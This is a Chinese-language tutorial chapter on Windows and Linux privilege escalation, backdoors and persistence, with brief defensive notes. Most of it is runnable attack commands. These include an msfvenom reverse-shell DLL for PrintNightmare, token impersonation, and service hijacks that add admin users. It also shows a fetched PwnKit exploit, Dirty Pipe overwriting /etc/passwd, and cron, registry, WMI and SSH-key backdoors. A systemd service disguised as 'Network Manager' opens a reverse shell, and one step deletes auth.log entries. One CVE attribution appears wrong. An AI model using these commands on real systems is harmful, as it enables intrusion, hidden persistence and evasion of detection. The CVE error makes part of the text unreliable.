系统提权与持久化

6.1 Windows提权技术

内核漏洞提权(CVE-2021-34527)
  • 漏洞原理

  • Windows Print Spooler服务未校验RPC调用权限,允许普通用户加载恶意DLL获取SYSTEM权限。

  • 攻击流程

  1. 生成恶意DLL并托管至SMB共享:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll > evil.dll 

impacket-smbserver share . -smb2support 

  1. 利用PrintNightmare漏洞触发加载:

Import-Module .\Invoke-Nightmare.ps1 

Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!" 

令牌窃取与模拟
  • Meterpreter操作

meterpreter > use incognito 

meterpreter > list_tokens -u 

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" 

  • Rotten Potato提权

execute -H -f rottenpotato.exe -a "-l 1337 -p C:\temp\payload.dll" 

服务配置滥用
  • 可执行路径劫持

sc config "VulnerableService" binPath= "C:\Windows\System32\cmd.exe /c net user hacker P@ssw0rd! /add" 

sc start VulnerableService 

  • 弱服务权限利用

# 检查服务DACL 

accesschk.exe -uwcqv "Everyone" * 

防御方案
  • 补丁管理:定期更新系统补丁(WSUS/SCCM)

  • 权限最小化:服务账户降权至非SYSTEM

  • 日志监控:审核服务创建、令牌使用事件(Event ID 4672)


6.2 Linux提权技术

SUID/SGID滥用
  • 查找危险文件

find / -perm -4000 -type f 2>/dev/null 

find / -perm -2000 -type f 2>/dev/null 

  • 利用案例

  • CVE-2021-4034(PwnKit)


# 利用polkit提权 

wget https://example.com/pwnkit-exploit 

chmod +x pwnkit-exploit 

./pwnkit-exploit 

  • 环境变量注入(LD_PRELOAD)

# 编译恶意so 

echo 'int geteuid() { return 0; }' > priv.c 

gcc -shared -o priv.so priv.c 

# 劫持执行 

sudo LD_PRELOAD=./priv.so /usr/bin/vim 

内核漏洞提权(CVE-2022-0847)
  • Dirty Pipe漏洞利用

# 覆盖/etc/passwd添加root用户 

./dirtypipe /etc/passwd 1 oot:x:0:0:root:/root:/bin/bash 

Cron任务劫持
  • 写入恶意计划任务

echo "* * * * * root /tmp/shell.sh" > /etc/cron.d/backdoor 

chmod +x /tmp/shell.sh 

  • 检测防御

  • 使用cronlog记录任务执行日志

  • 限制/etc/cron.d/目录写入权限

防御方案
  • SUID清理chmod -s /usr/bin/find

  • SELinux/AppArmor:强制访问控制策略

  • 文件完整性监控:Tripwire/AIDE检测关键文件篡改


6.3 后门植入与持久化

Windows持久化技术
  • 注册表启动项

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\backdoor.exe" 

  • WMI事件订阅

$FilterArgs = @{Name="EventFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process'"} 

$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs 

$ConsumerArgs = @{Name="EventConsumer"; CommandLineTemplate="C:\backdoor.exe"} 

$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs 

Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter; Consumer=$Consumer} 

Linux持久化技术
  • SSH公钥注入

echo "ssh-rsa AAAAB3NzaC..." >> ~/.ssh/authorized_keys 

  • Systemd服务隐藏

# 创建恶意服务 

[Unit] 

Description=Network Manager 

[Service] 

ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" 

[Install] 

WantedBy=multi-user.target 

无文件攻击
  • 内存加载Shellcode

# PowerShell反射注入 

$Kernel32 = @"

[DllImport("kernel32.dll")] 

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 

"@ 

Add-Type $Kernel32 

$Addr = [Kernel32]::VirtualAlloc(0, $Shellcode.Length, 0x3000, 0x40) 

[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Addr, $Shellcode.Length) 

防御方案
  • EDR防护:部署Carbon Black/Sysmon检测异常进程行为

  • 启动项审计:定期检查注册表、cron、systemd配置

  • 网络流量分析:识别隐蔽C2通信(如DNS隧道)


技术整合与实战案例

红队渗透实战链
  1. 初始立足点:通过Web漏洞上传WebShell获取www-data权限

  2. 本地提权:利用Linux内核漏洞(如Dirty Cow)升级至root

  3. 持久化:写入SSH密钥+隐藏Systemd服务

  4. 痕迹清理:删除/var/log/auth.log相关登录记录

蓝队检测策略
  • 行为基线监控

  • 检测非授权SUID文件创建

  • 告警异常计划任务(如每分钟执行的反弹Shell)

  • 内存取证:使用Volatility提取恶意进程镜像


学习建议

  1. 实验环境:搭建Windows Server 2016/Ubuntu 20.04靶机

  2. 工具掌握:熟练使用Mimikatz/Beacon/Cobalt Strike

  3. 漏洞复现:复现CVE-2023-21608(Windows ALPC提权)

本部分内容将帮助学习者从普通权限突破至系统最高权限,并建立隐蔽的持久化通道,覆盖APT攻击中的关键渗透环节,同时构建纵深防御体系对抗高级威胁。

你可能感兴趣的:(网络安全,网络安全)